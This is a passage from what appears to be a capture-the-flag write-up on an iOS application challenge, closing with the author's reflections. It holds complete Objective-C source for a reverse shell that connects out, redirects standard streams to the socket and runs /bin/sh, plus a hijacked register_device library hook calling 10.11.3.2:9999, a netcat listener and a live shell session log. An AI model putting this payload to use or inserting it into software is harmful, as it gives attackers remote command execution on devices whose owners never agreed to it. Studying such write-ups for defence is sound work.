#import <Foundation/Foundation.h>

@interface ReverseShellClient : NSObject

- (void)connectToHost:(NSString *)host port:(uint16_t)port;

@end

ReverseShellClient.h


#import "ReverseShellClient.h"
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

@implementation ReverseShellClient

- (void)connectToHost:(NSString *)host port:(uint16_t)port {
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("[-] Socket creation failed");
        return;
    }

    struct sockaddr_in serverAddr = {0};
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(port);

    if (inet_pton(AF_INET, [host UTF8String], &serverAddr.sin_addr) <= 0) {
        perror("[-] Invalid address");
        close(sockfd);
        return;
    }

    if (connect(sockfd, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) < 0) {
        perror("[-] Connection failed");
        close(sockfd);
        return;
    }

    // Redirect stdin, stdout, stderr to socket
    dup2(sockfd, 0);  // stdin
    dup2(sockfd, 1);  // stdout
    dup2(sockfd, 2);  // stderr

    // Execute shell
    char *args[] = {"/bin/sh", "-i", NULL};
    execve("/bin/sh", args, NULL);

    // If execve fails
    perror("[-] execve failed");
    close(sockfd);
}

@end
  1. Update the existing register_device function to use our new reverse shell client that we added:

#import "RegisterLib.h"
#import "ReverseShellClient.h"

@implementation RegisterLib

__attribute__((visibility("default")))
int register_device(void *info) {
    ReverseShellClient *client = [[ReverseShellClient alloc] init];
    [client connectToHost:@"10.11.3.2" port:9999]; // Change the IP and PORT
    return 1;
}

@end
  1. Start a netcat listener for our reverse shell:
nc -lvnp 9999
  1. Execute the application deep link to start the entire process:
  1. Check the netcat listener and observe that we have a reverse shell to the iOS device:
nc -lvnp 9999
Connection from 10.11.0.1:49243
sh: cannot set terminal process group (-1): Device not configured
sh: no job control in this shell
sh-5.0$ sh-5.0$ sh-5.0$ whoami
mobile
sh-5.0$ pwd
/
sh-5.0$ uname -a
Darwin Runtime 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin
sh-5.0$

Final thoughts

A fun challenge with various components working together to achieve success at the end.

I really liked the way you mapped out the server infrastructure in each step while adjusting your own fake server to accommodate the application.

I have never created a dynamic library for iOS, which was very interesting, and seeing that reverse shell after trial and error was worth it.